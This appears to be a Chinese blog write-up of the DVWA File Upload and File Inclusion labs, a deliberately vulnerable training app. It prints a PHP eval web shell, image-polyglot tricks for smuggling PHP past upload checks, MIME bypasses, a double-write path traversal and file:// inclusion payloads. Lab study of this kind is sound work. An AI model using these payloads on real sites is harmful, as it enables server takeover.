DVWA--File Upload+DVWA--File Inclusion

DVWA–File Upload+DVWA–File Inclusion

Low

查看源码
在这里插入图片描述就是简单的修改文件路径至…/…/hackable/uploads/ ,但是并未对文件进行任何过滤,那么我们试试上传一句话木马吧!
在这里插入图片描述在这里插入图片描述上传成功
使用工具 中国蚁剑
在这里插入图片描述

Medium

查看源码
在这里插入图片描述限制了Mime类型只能是image/jpg与image/png.

方法一:上传一句话木马 1.php  ,抓包修改Content-Type
方法二:上传一句话木马 1.png ,抓包修改为 1.php

以方法二为例:
在这里插入图片描述在这里插入图片描述在这里插入图片描述

High

查看源码

在这里插入图片描述

strrpos(string,find,start)函数:
string 	必需。规定被搜索的字符串
find 	必需。规定要查找的字符
start 	可选。规定在何处开始搜索
返回值:返回字符串在另一字符串中最后一次出现的位置,如果没有找到字符串则返回 FALSE。
注释: 字符串位置从 0 开始,不是从 1 开始。

相关函数:
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
strtolower(string)函数:
把所有字符转换为小写
substr(string,start,length)函数:
返回字符串的一部分
string 	必需。规定要返回其中一部分的字符串
start 	必需。规定在字符串的何处开始
length 	可选。规定要返回的字符串长度。默认是直到字符串的结尾
返回值:返回字符串的提取部分,如果失败则返回 FALSE,或者返回一个空字符串
getimagesize() 函数:
会测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回 图像的尺寸 以及 文件类型 及图片 高度 与 宽度
成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息

getimagesize( $uploaded_tmp ) 相当于检验了上传文件的内容,检测其是否真的是一张图片。此时就不能直接上传一句话木马了。

图片木马制作

方法一:GIF89a
GIF89a
<?php
phpinfo();
?>
方法二:图片合并
图片合并:
命令:
copy 1.jpg/b+phpinfo.php/a hack.jpg
将图片1.jpg 以二进制的方式打开,与.php 文件phpinfo.php进行合并(相当于将php文件内容写入图片文件),转换为ascii码值,重命名为hack.jpg
方法三:版权信息
图片右键->属性->详细信息->版权中写入
<?php eval($_POST['aaa']); ?>

方法一示例:
在这里插入图片描述在File Inclusion–Low下利用:

在这里插入图片描述

Impossible

在这里插入图片描述

uniqid():
生成一个唯一的 ID
ini_get():
取环境变量的值
imagecreatefromjpeg():
由文件或 URL 创建一个新图象
imagejpeg (image,filename,int quality)
从 image 图像以 filename 为文件名创建一个 JPEG 图,。image 参数是 imagecreatetruecolor() 函数的返回值。

对上传的文件进行了重新创建,重新命名并且加密,同时也阻止了00截断与csrf漏洞

DVWA–File Inclusion

相关配置

本地文件包含 (LFI):可以读取与打开本地文件
远程文件包含 (RFI)(HTTP,FTP,PHP伪协议):可以远程加载文件

php.ini文件:
本地:allow_url_fopen=On/Off
远程:allow_url_include-On/Off

Low

查看源码
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
没有任何过滤,并且可以发现点击每个文件后,其url中参数随之变化,那我们直接按照思路继续在url上进行操作,更改为4
在这里插入图片描述
再往后发现文件已经不存在了

在这里插入图片描述

Medium

查看源码
在这里插入图片描述1.对远程文件包含进行了过滤
2.对…/的使用进行了过滤
解决:双写绕过

本地文件包含

包含不存在文件获取路径
在这里插入图片描述创建如下本地文件
在这里插入图片描述访问

?page=..././mytest/phpinfo.php
?page=D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\mytest\phpinfo.php

High

查看源码
在这里插入图片描述

fnmatch(pattern,string,flags)函数:
根据指定的模式来匹配文件名或字符串
pattern  必需。规定要检索的模式
string 	 必需。规定要检查的字符串或文件
flags 	 可选

要求包含的文件必须以 file 开头
那可通过file协议包含本地文件

?page=file://D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\mytest\phpinfo.php

Impossible

查看源码
在这里插入图片描述将包含的文件名写死了,只能是file1.php,file2.php,file3.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值